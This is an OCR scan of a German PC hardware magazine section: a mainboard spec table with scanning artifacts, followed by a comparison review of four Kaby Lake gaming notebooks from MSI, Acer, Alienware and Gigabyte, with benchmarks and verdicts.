PCI-E-Standard* 3.0/3.0/-/3.0/3.0/3.0/3.0 -/3.0/3.0/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/3.0/3.0 3.0/3.0/3.0/3.0/3.0/3.0/3.0 
PCI-E-CPU-Lane-Verteilungsoptionen* |-/x 16/-/-/x0/-/- oder —/x8/-/-/x8/-/— -/x16/-/-1x0/-/x0 oder -/x8/-/-1x8/-/x0 -/x16/-/-1x01-/- oder -/x8/-/-1x8/-/- SIB 
oder -/x8/-/-/x4/-Ix4 
PCI-E-PCH-Lane-Verteilungsoptionen* |х1/—/—/х1/—/х0/х4 oder x1/-/-/x1/-/x1/x4 |—/—/х1/х1/—/х1/ xT-I-IxTM-lx1x4 =/—/х1/х1/х4/х1/х4 
und 1х ЅАТА deaktiviert 
ЅАТА 6x 6 GBit/s (2270), 6 als 3x SATA-Express |6x 6 GBit/s (6х 2270) 8x 6 GBit/s (6x Z270; 2x ASM1061) 6x 6 GBit/s (6x Z270) 
(PCI-Express 3.0 x2) nutzbar 
M.2, Anbindung, Format 1x M.2 m-Key, PCI-E-3.0-x4 (deaktiviert 2x 1x M.2 m-Key, PCI-E-3.0-x4, 60/80; 1x M.2 1x M.2 m-Key, PCI-E-3.0-x4 (deaktiviert 2x 1x M.2 m-Key, PCI-E-3.0-x4 (deaktiviert oberen 
SATA), 42/60/80/110 mm; 1x M.2 m-Key, m-Key, PCI-E-3.0-x4, 60/80/110 (deaktiviert SATA), 30/42/60/80/110 mm; 1x M.2 m-Key, CHE x4), 42/60/80; 1x U.2, PCI-E-3.0-x4 (de- 
PCI-E-3.0-x4 (deaktiviert PCI-E x4), 42/60/80 |2x SATA); 1x U.2, PCI-E-3.0-x4; 1х U.2, CI-E-3.0-x4 (deaktiviert 2x SATA), 30/42/60/80 |aktiviert 2x SATA) 
mm; 1x U.2, PCI-E-3.0-x4 CI-E-3.0-x4 (deaktiviert ersten M.2) mm; 1x M.2 e-Key, PCI-E-3.0-x1, 2230 
Onboard-LAN 2x Gigabit (Intel 1219-V + Killer E2500) 1x Gigabit (Intel 1219-V) 2x Gigabit (Intel 1219-V + Intel 1211-АТ) 1x Gigabit (Intel 1219-\/) 
Monitor-Anschlüsse HDMI/Display-Port HDMI/Display Port/DVI-D HDMI/DVI-D/D-Sub HDMI/DVI-D 
USB extern/intern 2x/0x USB 3.1 (davon х1 Typ-C extern); 4x/0x USB 3.1 (davon x1 Typ-C extern); 2x/0x USB 3.1 (davon х1 Typ-C extern); 5x/2x USB 3.0 (davon x1/x0 Typ-C); 2x/4x 
5x/4x USB 3.0; 0х/4х USB 2.0 0x/2x USB 3.0; 2x/6x USB 2.0 4x/4x USB 3.0; 0x/6x USB 2.0 USB 2.0 
Legacy-Schnittstellen extern/intern PS/2-Maus-oder-Tastatur-Flex-Port S/2-Maus-oder-Tastatur-Flex-Port; COM-Header |PS/2-Maus-u.-Tastatur-Combo-Port; COM-Header |PS/2-Tastatur-Port 
Sound-Chip Creative Sound Core 3D Realtek ALC1150 Realtek ALC1220 ealtek ALC892 
Kopfhörer-Verstärker/DTS oder DDL/ Ja/nein/ja а/пеіп/пеіп а/пеіп/пеіп alnein/nein 


wechselbarer OP-AMP 


Audio-Aus-/Eingánge 5.1 + 2.0, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1/Eingang x2 
Lüfteranschlüsse 7x 4-Pin PWM 5x 4-Pin PWM 5x 4-Pin PWM 5x 4-Pin PWM 


Sonstige Ausstattung Power- und Reset-Schalter; Clear-CMOS-Schal- | Power- und Reset-Schalter; Clear-CMOS-Schal- | Power- und Reset-Schalter; Clear-CMOS-Jum- |Power- und Reset-Schalter (Touch); Cle- 


© Creative-Onboard-Sound © Sehr gute Kühlung © SATA-Zusatzcontroller © 240 GB SSD inklusive 


© Thunderbolt 3 © 4x USB 3.1 © WLAN-Vorbereitung © Geringer Idle-Verbrauch 
F A Z | | © 0.2 zusätzlich zu 2x M.2 © Ungünstige PCI-E-Lane-Verteilung © Beide M.2 sharen mit SATA © Keine frei konfigurierbare Lüftersteuerung 


E 
2 
5 
2 
š 
= ter; Dual-UEFI; regelbare RGB-Beleuchtung; An- |ter; DOM-Stromversorgung; Statussegment- |per; Dual-UEFI; regelbare RGB-Beleuchtung; |ar-CMOS-Jumper; regelbare RGB-Beleuchtung; 
© schluss für RGBW-LED-Streifen; Thunderbolt-He- | anzeige; Anschluss für RGB-LED-Streifen; Statusseg- — |2x Anschluss für RGB-LED-Streifen (kom- 
= ader; Statussegmentanzeige; 2x Anschluss für mentanzeige pakt/2 mm pitch); Statussegmentanzeige 

E S Temperatursensoren; Thunderbolt-3-Controller 

^ = Beiliegend 4x SATA-Kabel; HB-SLI-Brücke; Verlänge- 4x SATA-Kabel. Handbuch nur online 4x SATA-Kabel; HB-SLI-Brücke; 1x Postkarte; |4х SATA-Kabel; 1x Adapter 2-mm-RGB-An- 

A e rungs-Kabel für RGBW-LED-Streifen; 2x Tempe- Handbuch Deutsch schluss auf normales 2,54-mm-Raster; Hand- 

= = ratursensor; Напабисћ Englisch buch Englisch; 240 GB SSD (SATA) 

= 5 Eigenschaften (20 %) 1,97 1,79 1,78 2,58 

5 S |Abstand** CPU <> 1./2. RAM-Slot 56/65 Millimeter 51/58 Millimeter 52/61 Millimeter 52/61 Millimeter 

Е Фф 

= = |Abstand** CPU <> 12. Spannungs- 162/65 Millimeter 65/69 Millimeter 52/- Millimeter 53/- Millimeter 

2 Е wandlerkühler 

A E Abstand** CPU <> 1. PCI-E-x16 95 Millimeter 97 Millimeter 95 Millimeter 94 Millimeter 

© $ Abstand PEG 1 <> 2 2 Slots 2 Slots 2 Slots — (nur ein PEG) 

28 

g = | CPU-/Ring-Multiplikator/BCLK Anheb- und absenkbar/einstellbar/einstellbar | Anheb- und absenkbar/einstellbar/einstellbar | Anheb- und absenkbar/einstellbar/einstellbar | Anheb- und absenkbar/einstellbar/einstellbar 

= £ |CPU-Spannung Offset +0 bis +0,35 V Offset +0 bis +0,35 V Offset +0 bis +0,35 V Offset +0 bis +0,35 V 

š 5 |Усоге adaptiv/Offset nach oben/nach |Nein/ja/ja/ja, konfigurierbar Ја/ја/ја/ја, konfigurierbar Nein/ja/nein/ja, konfigurierbar Nein/ja/ja/ja, konfigurierbar 

2 Š |unten/Vdroop-Gegenmaßnahme 

"E 

* E |VCCIO/IMC-/PCH-Spannung Einstellbar/einstellbar/einstellbar Einstellbar/einstellbar/einstellbar Einstellbar/einstellbar/einstellbar Einstellbar/einstellbar/einstellbar 

5 2 | Maximal wählbarer Speichertakt DDR4-4133 DDR4-4133 DDR4-4133 DDR4-4000 

& в 

© El Maximale Speicherspannung 2,00 Volt 1,75 Volt 1,80 Volt 1,60 Volt 

E p Lüftersteuerung Kurve konfigurierbar; CPU -- weitere Lüfter Kurve konfigurierbar, CPU + weitere Lüfter Kurve konfigurierbar; CPU -- weitere Lüfter Kurvensteigung wählbar; CPU + weitere Lüfter 

E S Stabilitäts- & Praxis-Probleme All-Core-Turbo nicht deaktivierbar. (Für Keine Keine Keine 

EK Leistungsmessungen auf 4,0 GHz begrenzt) 

St 

El Leistung (60 %) 2,80 2,67 2,98 2,84 

E g Realer Referenztakt (CPU-Z) 100,02 MHz 99,98 MHz 100,85 MHz 99,88 MHz 

E 3 Witcher 2 EE 1080p, kein AA/AF 143,2 Fps 142,0 Fps 145,0 Fps 143,4 Fps 

£ = Lightroom 5.6, Export 30 RAWs 149,9 Sekunden 148,6 Sekunden 147,8 Sekunden 148,4 Sekunden 

5 £ | AIDA Memory Bench – Kopierrate 31.099 MB/s 31.012 MB/s 31.588 MB/s 31.122 MB/s 

p X 

E E Boot-Zeit Windows-8.1-Desktop 28,4 Sekunden 41,3 Sekunden 36,7 Sekunden 35,3 Sekunden 

e ='|Тетр. Spannungswandler/PCH** * 51/38/44 *C 35/28/35 °C 66/41/46 *C 61/47/40 *C 

š š Stromver.**** Soft-off/Leerl./Last*** |1,0/45,6/310 Watt 1,2/38,2/310 Watt 2,6/45,3/317 Watt 0,9/36,4/313 Watt 

se 

= = 

$5 

ER 

a2 

x5 

= 5 


Wertung: 2,46 Wertung: 2,52 Wertung: 2,54 Wertung: 2,71 
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Kaby Lakes, die Zweite 


Aktuelle Notebooks sind mittlerweile flächendeckend mit den neuen Kaby-Lake-Prozessoren be- 


stückt. Wir testen vier weitere Modelle mit derselben Messlatte wie in der letzten Ausgabe. 


ie Kaby-Lake-H-CPUs sind für 
(Reeg Gaming-Notebooks 
gedacht und mit Ausnahme des 
schwächsten Modells, dem  i3- 
7100H, allesamt Quadcores. Der- 
zeit kommen davon nur zwei Mo- 
delle zum Einsatz: Erstens der Core 
i7-7700HQ mit einem Basistakt 
von 2,8 GHz, Zweitens der Core 


i7-7820HK mit standardmäßigen 
2,9 GHz und offenen Multiplikator. 
Noch schneller ist laut Datenblatt 
nur der Core i7 7920HQ mit 3,1 
GHz, welcher aber noch nicht auf 
dem Markt zu finden ist. Wem es 
um die Framerate in Spielen geht, 
ist aber mit den beiden verfügba- 
ren Quadcores bestens bedient, 
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wie wir auch in dieser Testreihe 
festgestellt haben. 


Ebenso stehen die Geforce-Gra- 
fikchips in den Notebooks den 
Desktop-Varianten in kaum etwas 
nach. In unseren Spielebench- 
mark konnten die Notebook-GPUs 
die Frameraten unserer Desktop- 


(intel 
CORE i7 |} 
7th Gen 


Referenz sogar stellenweise leicht 
übertreffen. Seit der aktuellen Pas- 
cal-Generation ist das ,M* am Ende 
des Namens weggefallen - die Be- 
zeichnung beider Varianten ist also 
gleich. Das ist in Ordnung, da die 
Shader-Anzahl und Taktraten nicht 
mehr deutlich reduziert sind und 
im Falle der GTX 1050 Ti sogar mo- 
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bil höher sind, wie in der vergange- 
nen Ausgabe berichtet. 


Das Bewertungsschema hat sich 
seit dem Test im letzten Monat 
nicht verändert, sodass die Noten 
mit denen des hier durchleuch- 
teten Quartetts uneingeschränkt 
vergleichbar sind. Diesmal ist auch 
ein Modell mit einer Geforce GTX 
1080 vertreten - die leistungs- 
fähigste GPU für ein Notebook. 
Eine mobile Titan-Version existiert 
nicht. Noch mehr Grafikleistung 
gibt's nur mit zwei GTX-1080-GPUs 
im SLI-Verbund, was aber auch den 
Preis des Notebooks fast verdop- 
pelt - aber bei Weitem nicht die 
Leistung in Spielen. Solche exoti- 
schen und astronomisch teuren 
Modelle unterziehen wir keinem 
Vergleichstest wie diesen hier. Zu- 
sammen mit einem Notebook mit 
einer Geforce GTX 1060 und zwei 
mit einer GTX 1070 haben wir alle 
mobilen Grafikchips vertreten, die 
gute Frameraten in modernen Spie- 
len erzielen. 


MSI GT73VR 7RF Titan Pro: High-End 
an allen Ecken und Enden, aber auch 
beim Preis. Es ist wenig verwun- 
derlich, dass das leistungsfähigste 
Notebook die beste Note der vier 
Stichproben einheimst. Dement- 
sprechend ist es auch das mit 
Abstand teuerste Notebook. Gut 
2.500 Euro darf man für den Tita- 
nen hinblättern, der aber auch mit 
seinem Datenblatt beeindruckt: 
Eine GTX 1080 liefert in so manch 
aktuellem Spiel dreistellige Frame- 
raten bei höchsten Grafikdetails. 
32 GiByte DDR4-RAM sind mehr 
als genug und zwei PCIe-SSDs mit 
je 256 GByte im Raid-Verbund ver- 
sprechen schnelle Datenraten und 
kurze Ladezeiten. In den Bench- 
marks erreicht das Gespann Lese- 
und Schreibraten etwa auf dem 
Niveau des aktuellen Topmodells 
unter den PCIe-SSDs, der Samsung 
SSD 960 Pro. 


Eine kleine Überraschung ist die 
Framerate in unserem Benchmark 
von The Witcher 3, die mit einem 
Plus von zehn Prozent deutlich 
über dem Wert unserer Desktop- 
Referenz der Geforce GTX 1080 
liegt. Dabei fallen die Basistaktra- 
ten der mobilen GPU nicht hóher 
aus - wohl aber der Boost inner- 
halb unseres Testnotebooks. Dieser 
fállt mit rund 1.850 MHz hóher aus 
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als der von Nvidia genannte Takt 
der Desktop-GPU über 1.733 MHz 
(„typical boost"). In unserer ande- 
ren Benchmark-Stichprobe, Ethan 
Carter Redux, fällt die Differenz 
nicht so deutlich aus. 


Nicht nur die Rechenleistung ist 
überproportioniert, auch die Aus- 
stattung, Maße und Gewicht. Fünf 
mal USB 3.0 und vier Audiobuch- 
sen bieten nur wenige Notebooks, 
was keine Wünsche offen lässt. 
Auch an der Rückseite befinden 
sich Anschlüsse, sodass sich nur 
wenige Kabel oder Sticks in die 
Quere kommen. Mit gut 4 kg ist das 
Notebook nur bedingt ein mobiler 
Begleiter und mit 5 cm fast dop- 
pelt so dick wie schlanke Gaming- 
Geráte, wie etwa das Modell von 
Gigabyte. Die potente Grafik benó- 
tigt entsprechend grofše Lüfter und 
viel Platz, um kühle Luft anzusau- 
gen. Die Kunststoff-Basis ist daher 
nicht ganz so stabil und steif wie 
ein Geháuse aus Vollaluminium, 
was aber auch die wenigsten Ge- 
räte in dieser Gewichts- und Gró- 
fsenklasse bieten. Sowohl Display- 
Deckel als auch die Fläche um die 
Tastatur sind aus Aluminium. Diese 
ist übrigens von Steelseries und hat 
uns schon im letzten, weitaus güns- 
tigeren Modell gefallen. Sie bietet 
einen knackigen Druckpunkt, an- 
genehme Haptik und ein Software- 
Menü, das die Beleuchtung auf 
Spiele abstimmt. 


Mit der Full-HD-Auflösung ist die 
GTX 1080 hoffnungslos unterfor- 
dert. Dafür bietet das TN-Panel 120 
Hz und G-Sync. Unsere Messwerte 
zur Farbqualität und Maximalhel- 
ligkeit liegen im oberen Mittelfeld, 
auch in der gleichmäßigen Aus- 
leuchtung zeigt es keine Schwi- 
chen. MSI bietet alternativ das glei- 
che Modell mit einem IPS-Panel in 
UHD-Auflósung an, zu einem Auf- 
preis von einigen Hundert Euro, 
versteht sich. Dann auch nur mit 
60 Hz - mehr ist aktuell bei Ultra 
HD nicht drin. 


Mit einer GTX 1080 ist das MSI- 
Notebook natürlich kein Biblio- 
theksrechner, was unsere Laut- 
heitsmessung mit maximal 3,9 
Sone bestätigt. Dafür hält es sich 
im Desktop-Betrieb mit nur 0,5 
Sone angenehm zurück. Eine der 
Sondertasten aktiviert den Lüfter- 
Turbo, der die Rechenchips zwar 


Kaby Lake im Vergleich mit Skylake 


Modell Kerne/ Takt/ Ly Max. TDP 
Threads Turbo Cache | RAM-Geschw. 

Core i7-7920HQ | Dj 4/8 3,1/4,1 GHz 8 MiB DDR4-2400 45W 
Core i7-6920HQ | Ш 4/8 2,9/3,8 GHz 8 MiB DDR4-2133 45W 
Core i7-7820HQ | Dj 4/8 2,9/3,9 GHz 8 MiB DDR4-2400 45W 
Core i7-6820H0 | Ш 4/8 2,713,6 GHz 8 MiB DDR4-2133 45W 
Core i7-7820HK* | Dj 4/8 2,9/3,9 GHz 8 MiB DDR4-2400 45W 
Core i7-6820HK* | m 4/8 2,713,6 GHz 8 MiB DDR4-2133 45W 
Core i7-7700HQ | В 4/8 2,8/3,8 GHz 6 MiB DDR4-2400 45W 
Corei7-6700HQ | Ш 4/8 2,6/3,5 GHz 6 MiB DDR4-2133 45W 
Corei5-/440HQ | В 4/4 2,8/3,8 GHz 6 MiB DDR4-2400 45W 
Core i5-6440H0 | B 4/4 2,6/3,5 GHz 6 МІВ DDR4-2133 45W 
Core i5-7300HQ | Dj 4/4 2,5/3,5 GHz 6 MiB DDR4-2400 45W 
Core i5-6300H0 | Ш 4/4 2,3/3,2 GHz 6 MiB DDR4-2133 45W 
Core i3-7100H H 2/4 3,0/- GHz 3 MiB DDR4-2400 45W 
Core i3-6100H LI 2/4 2,71- GHz 3 MiB DDR4-2133 45W 
E Кару Lake IIB Skylake (Vorgänger) 

Messungen stets bei automatischer Lüftersteuerung *freier Multiplikator 


Lautheit im Desktop- und Spielbetrieb 


45 


Lautheit (Sone) 


MSI GT73VR 7RF Dell 


Acer Predator 
17 G9-793 772H 


Gigabyte 


Titan Pro Alienware 15 P57W v7 


Bemerkung: Gaming-Notebooks sind grundsátzlich relativ laut, wenn aktuelle Spiele laufen und der Grafik- 
chip ordentlich gefordert ist. Daran ändert weder ein großzügig dimensioniertes Gehäuse noch ein zusätzliches 
Lüftermodul, wie beim Acer Predator, etwas. 


Spieleleistung: Auch mobil flüssig 


The Witcher 3, Full HD, max. Details ohne Gameworks - „Boat Trip" 


GTX 1080 (Desktop-Referenz) EX 109,1 (Basis) 
MSI GT73VR 7RF (GTX 1080) ERES! 120,4 (+10 %) 


GTX 1070 (Desktop-Referenz) gn 87,0 (Basis) 
Acer Predator 17 (GTX 1070) Xn 94,2 (+8 96) 
Alienware 15 (GTX 1070) EX 88 96,4 (+11 96) 


GTX 1060/6G (Desktop-Referenz) gg 61,0 (Basis) 
Gigabyte P57W v7 (GTX 1060/6G) Esa pu 65,8 (+8 96) 


Vanishing of Ethan Carter Redux, Res. Scale 150%, TAA - , Tracks" 


GTX 1080 (Desktop-Referenz) EX 94,4 (Basis) 
MSI GT73VR 7RF (GTX 1080) Ert Ex 98,5 (+4 %) 


GTX 1070 (Desktop-Referenz) ШЕ 75,7 (Basis) 
Acer Predator 17 (GTX 1070) Ene 72,9 (-4 96) 
Alienware 15 (GTX 1070) Egg 8 75,4 (+0 96) 


GTX 1060/6G (Desktop-Referenz) IESU! 52,8 (Basis) 
Gigabyte P57W v7 (GTX 1060/6G) wn 51,7 (-2 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB 
Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 378.49, RS 17.1.2, HQ-AF 
Bemerkungen: Zwischen Desktop- und Notebook-GPU gibt es kaum Unterschiede. 


Mimil 2 Fps 


» Besser 
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Die zweite Kaby-Lake-Charge 


Nach den ersten verfügbaren Kaby-Lake-Geräten (siehe PCGH 03/2017) 
haben wir nun vier weitere Modelle durch den Testparcours geschickt. 


Acer Predator 17 G9-793 772H 


Das große Gaming-Note- 
book von Acer ist mit 4,2 
kg das schwerste im Test. 
Es hat ein Wechsellauf- 
werk, das mit einem 
Lüftermodul versehen 
werden kann. 


Dell/Alienware 15 


Auch das Alienware 15 
leidet mit satten 3,5 kg für 
einen 15-Zöller an etwas 
Übergewicht. Grund dafür 
ist das stabile Metall- 
gehäuse. 


Gigabyte P57W v7 


Dünn und schlank ist das 
P57W v7 von Gigabyte. Mit 
gut 3 kg ist es außerdem 
relativ leicht. Das Chassis 
ist das gleiche wie beim 
Vorgänger v6. 


Breite Anschlussvielfalt, 
eine Geforce GTX 1080 
und ein Raid-Verbund 


zweier PCle-SSDs sind 
nur einige Merkmale, mit 
denen das MSI-Modell 
imponiert. 
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nicht schneller, aber deutlich küh- 
ler werden lässt. Bei diesem Staub- 
saugerlärm spielt man dann aber 
besser mit einem Headset. 


Das MSI-Notebook verfügt nicht 
über eine automatische Nvidia- 
Optimus-Umschaltung zwischen 
integrierter und dedizierter Gra- 
fikeinheit, so wie sie schon lange in 
Notebooks üblich ist. Die Geforce- 
Grafik wird mit einer Taste zu- bzw. 
abgeschaltet und erfordert einen 
Neustart. Das ist letztlich für die 
Akkulaufzeit relevant, da für den 
Desktop-Betrieb die genügsamere 
Intel-Grafik ausreicht. 


Selbst unter den Notebooks mit ei- 
ner Geforce GTX 1080 ist das MSI 
Titan Pro nicht unter den günsti- 
geren Modellen. Es stimmt jedoch 
das Gesamtpaket, was letztlich viel 
wichtiger ist als das reine Preis- 
Leistungs-Verhältnis, wenn man oh- 
nehin schon über 3.000 Euro in ein 
Notebook investiert. 


Acer Predator 17 G9-793 772H: High- 
End, wenn auch nicht das Nonplusul- 
tra. Genauso schwer und groß wie 
der MSI-Titan, aber nicht ganz so 
dick und nicht ganz so leistungsfä- 
hig ist der Predator von Acer. Hier 
kommt „пиг“ eine Geforce GTX 
1070 zum Einsatz, dafür kostet das 
Notebook auch satte 1.000 Euro 
weniger als das Nonplusultra von 
MSI. Wer aktuelle Spiele wie For 
Honor in voller Grafikpracht mit 
annehmbarer Framerate genießen 
möchte, kommt mit dem Predator 
durchaus zurecht. Die 16 GiByte 
RAM, eine 512 GByte große PCI- 


Express-SSD im M.2-Format sowie 
das IPS-Display in Full HD und 75 
Hz mit G-Sync sind dafür eine soli- 
de Basis. In der Ausstattung hat das 
Acer Predator einige Besonderhei- 
ten parat: Die Displayport-Buchse 
im Vollformat ist nicht unbedingt 
bei Notebooks üblich, viel mehr 
die Mini-Version. Wer den DVD- 
Brenner nicht benötigt, kann ihn 
einfach gegen ein mitgeliefertes 
Lüftermodul tauschen. Dieses be- 
schert den Innereien nicht nur zu- 
sätzlichen Wind, es lässt das Note- 
book überraschenderweise selbst 
unter Last ruhiger laufen: Mehr als 
1,9 Sone messen wir beim Spielen 
nicht. Damit sind die Lüfter aber 
noch immer deutlich hörbar. Zu- 
mal sie auch im Desktop-Betrieb 
nicht ganz leise sind und immer 
wieder anspringen. 


Das Notebook kann zwar nicht 
mit Metalloberflächen überzeu- 
gen, dafür aber mit der schwarz- 
roten, stimmigen Optik mit LEDs 
auf dem Display-Deckel sowie mit 
der angenehmen Haptik der matt- 
gummierten Kunststoffoberfläche. 
Die Verarbeitung des Gehäuses ist 
tadellos - es wirkt stabil, steif und 
insgesamt hochwertig. Wie Metall 
zwar auch ist das Gehäuse anfällig 
für Fingerabdrücke, aufgrund des 
matten Finishs ist es etwas schwie- 
riger, sie zu reinigen. 


Mit eingefärbten WASD- und Pfeil- 
tasten wird signalisiert, dass es sich 
um ein Gaming-Notebook handelt. 
Das Chiclet-Keyboard wird durch 
zusätzliche 
linken Rand ergänzt. Diese sind in 


Funktionstasten am 


Problem mit NVME-Treiber gelöst 


Der windows-eigene NVME-Treiber bremste bislang die Schreibraten 
von Samsung-PCle-SSDs im AS-SSD-Benchmark. Der herstellereigene 


Treiber behebt das Problem. 


In manchen Notebooks kommen OEM-SSDs von 
Samsung zum Einsatz, die als PCle-Version mit 
dem Windows-NVME-Treiber schlechte Schreibra- 


| Samsung 


NVMe Driver 


ten im AS-SSD-Test lieferten — nicht jedoch in 
der Praxis; dennoch hat das so manchen Nutzer 
irritiert. Der Samsung-NVME-Treiber behebt das 
seit Version 2.0. Beim Schenker-Notebook, das 
wir in der vergangenen Ausgabe getestet haben, 
bemängelten wir den fehlerhaften Windows-Trei- 
ber. Uns wurde versichert, dass das mittlerweile 
behoben ist und bei unserem Testgerät ein Ein- 
zelfall war. Eine Stichprobe unsererseits an einem 


anderem Exemplar bestätigte das. 
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die Fläche etwas eingelassen, sodass sie 
nicht versehentlich aktiviert werden 
können. Softwareseitig lassen sie sich 
individuell Konfigurieren, auch mit op- 
tionalen Makros. Die Tastaturbeleuch- 
tung lässt sich zwar in der Farbe ändern, 
aber nicht dimmen. Die Sondertasten 
leuchten je nach aktivierter Profilgrup- 
pe unterschiedlich. Mit einer Umschalt- 
taste und drei Gruppen können die fünf 
Sondertasten links mit insgesamt 15 
Funktionen oder Makros programmiert 
werden. Eine weitere Sondertaste ist für 
die (De-)Aktivierung des Touchpads ab- 
gestellt. Das ist aber auch über die übli- 
che Fn-Tastenkombination per Tastatur 
móglich. 


Am IPS-Panel messen wir nicht nur 
eine gleichmäßige, gute Ausleuchtung 
und recht geringe Farbabweichungen, 
sondern auch mit 426 cd/m? eine sehr 
gute Maximalhelligkeit, sodass der Bild- 
schirm auch in heller Umgebung gut 
erkennbar ist. An Zocken im Freien ist 
aber lediglich mit Steckdose zu denken. 
Trotz des recht großen Akkus mit 90 Wh 
an Kapazität ist er mit 3D-Spielen recht 
schnell leergesaugt. 


Dell/Alienware 15: Exot mit Eye Tracker. 
In der Rechenleistung sind sich die Mo- 
delle von Dell und Acer recht ähnlich 
- beide verfügen über das gleiche Pro- 
zessormodell und die gleiche Geforce- 
GTX-1070-Grafik. Äußerlich sind sie aber 
grundverschieden. Beim Alienware 15 
handelt es sich außerdem um das einzi- 
ge Notebook mit 15,6-Zoll-Display. Die 
drei Konkurrenten fahren alle mit dem 
17,3-Zoll-Format auf, das unter Gaming- 
Modellen auch verbreiteter ist. 


Neben dem exotischen Design, das 
man entweder liebt oder hasst, ist das 
LTüpfelchen des Alienware 15 der Eye 
Tracker, welcher unter dem Display 
integriert ist. Das Notebook ist so vor- 
konfiguriert, dass sich die Display-Be- 
leuchtung abschaltet, wenn man einige 
Sekunden nicht darauf schaut. Das kann 
unter Umständen etwas Akkulaufzeit he- 
rausholen oder aber den Nutzer einfach 
nur nerven. Im Test haben wir es schnell 
deaktiviert, da die Reaktionszeit des 
Sensors recht träge ist. Die Eye-Tracking- 
Funktion wird zwar von einigen Spielen 
unterstützt, jedoch hält sich der Nutzen 
dort auch noch in engen Grenzen. Ein 
Kaufgrund ist dieses Feature nicht un- 
bedingt - wohl aber das Gehäuse in ge- 
wohnt hoher Alienware-Qualität. 


Die Basis aus Aluminium und Magne- 
sium verfügt über eine Stabilität, die 
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unter Notebooks ihresgleichen 
sucht. Der Wermutstropfen bei 
so viel Metall ist das recht hohe 
Gewicht von stolzen 3,5 kg. An- 
dere 15-Zóller und so mancher 
17-Zóller sind deutlich leichter. 
Gegenüber der Vorgängerversi- 
on hat das Alienware 15 R3 auch 
um fast ein halbes Kilo zugelegt. 
Es ist eben schick, aber schwer. 
Auffällig ist auch das leuchten- 


de Touchpad: Andere Geräte 
beleuchten, wenn überhaupt, 
nur den Rand - etwa das Acer 
Predator. Die Tastatur ist eben- 
so beleuchtet, verfügt aber über 
Tasten mit abgeflachten Kanten. 
Verbreiteter sind hier rechtwink- 
lige mit etwa 3 mm Abstand zwi- 
schen den Tasten. Dem Tippkom- 
fort tut dies keinen Abbruch - es 
ist Geschmacksache. Erfreulich 


ist, dass viele Notebook-Displays 
mittlerweile mehr als nur 60 Hz 
bieten, so auch das Alienware mit 
einem 120-HzTN-Panel. Alterna- 
tiv gibt es das Modell mit einem 
IPS-Display in UHD-Auflósung. 
Die OLED-Variante ist dem Ali- 
enware 13 vorbehalten. Auch die 
maximale Helligkeit wird mit der 
Zeit immer besser, wir messen 
den guten Wert über 400 cd/ 
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m2 auch hier. Mit nur vier Prozent 
Abweichungen verfügt das Display 
über eine sehr gute, gleichmäßige 
Ausleuchtung. Unter Last wird das 
Alienware, wie alle anderen Ga- 
ming-Notebooks, zwar recht laut, 
hält sich ansonsten aber mit Lüf- 
tergeräuschen angenehm zurück. 
Mit fast 95 Wh hat es übrigens den 
größten Akku der Reihe. Etwas 
knapp bemessen ist die standard- 
mäßige Garantie von nur einem 
Jahr bei Dell; eine längere lässt sich 
der Hersteller ordentlich bezahlen. 
Immerhin handelt es sich um einen 
Vor-Ort-Service, was bedeutet: Ein 
Techniker kommt vorbei und löst 
das Problem, wenn möglich, so- 
dass das Gerät nicht mitgenommen 
oder verschickt werden muss. 


Gigabyte P57W v7: Schlank statt 
schön, aber auch günstiger. Mit ei- 
ner GTX 1060 ausgestattet, müssen 
die ersten Kompromisse beim Spie- 
len in Kauf genommen werden. In 
so manchem Titel muss zugunsten 
der Framerate die Texturqualität 


oder Kantenglättung herunterge- 
schraubt werden. Es handelt sich 
aber auch um die Birne unter den 
Äpfeln: Die drei anderen Modelle 
spielen eine Liga höher und fairer- 
weise sei hier erwähnt, dass Giga- 
byte dort oben mit der Marke Ao- 
rus mitmischt. Die Spieleleistung 
des P57W v7 kann sich dennoch 
sehen lassen, wie unsere Bench- 
marks zeigen: Frameraten um die 
60 Fps sind möglich. Wem das aus- 
reicht, wird mit einem ruhigen Ge- 
rät belohnt: Unter Last messen wir 
nur 2,6 Sone - deutlich weniger als 
bei leistungsfähigeren Grafikein- 
heiten. Ein weiterer Unterschied 
zu den anderen Modellen ist die 
SATA-SSD - PCIe 3.0 ist in dieser 
Preisklasse noch nicht drin. Das 
ältere Protokoll wirkt sich auf die 
Frameraten von Spielen so gut wie 
gar nicht aus. Bestenfalls erreichen 
PCIe-Modelle einige Sekunden kür- 
zere Ladezeiten. 


3,2 kg ist ein geringes Gewicht für 
ein Gaming-Notebook im 17-Zoll- 


GAMING- 
NOTEBOOKS 


Auszug aus Testtabelle 


Hardware 


Format. Mit nur 2,5 cm ist das Mo- 
dell außerdem recht dünn, was hier 
nicht auf Kosten der Ausstattung 
erreicht wird: Es stehen nicht nur 
alle üblichen Anschlussbuchsen 
zur Verfügung, Gigabyte verzichtet 
hier auch nicht auf das DVD-Lauf- 
werk. Mehr noch: Es handelt sich 
um eine Wechsellaufwerk. Im Lie- 
ferumfang ist ein Modul, mit dem 
stattdessen eine weitere 2,5-Zoll- 
Festplatte eingebaut werden kann. 
Das Gehäuse ist in Kunststoff 
gehalten, bis auf einige orangene 
Elemente konsequent in mattem 
Schwarz. Am Vorgängermodell kri- 
tisierten wir im letzten Herbst die 
schlechte Verarbeitung; mit Druck 
auf der rechten Handballenauflage 
war ein Knarzen zu vernehmen. 
Das Chassis ist zwar das gleiche, 
wir stellen aber erleichtert fest, 
dass jetzt nichts mehr knarzt. 


Der Bildschirm besteht aus einem 
IPS-Panel in Full-HD-Auflösung bei 
60 Hz Bildwiederholrate. G-Sync ist 
in dieser Preisklasse noch nicht zu 


PREIS-LEISTUNGS-TIPP 


finden. Nichtsdestotrotz schneidet 
die Bildqualität recht gut ab: Mit 
300 cd/m? ist es hell genug und 
gleichmäßig ausgeleuchtet. 


Das Gigabyte P57W v7 beweist, 
dass ein leistungsfähiges Gaming- 
Notebook nicht über 2.000 Euro 
kosten muss. Es geht auch günsti- 
ger, hier außerdem schlanker und 
leichter. Damit eignet sich das 
Notebook auch besser für seinen 
eigentlichen Zweck des mobilen 


(mc) 


Fazit Hardware 


Minimaler Leistungsvorsprung 

Die Kaby-Lake-CPUs liegen in Leistung 
und Effizienz nur leicht vor den Vor- 
gängern, sodass ein Unterschied zu 
einem Skylake-Pascal-Gespann nicht 
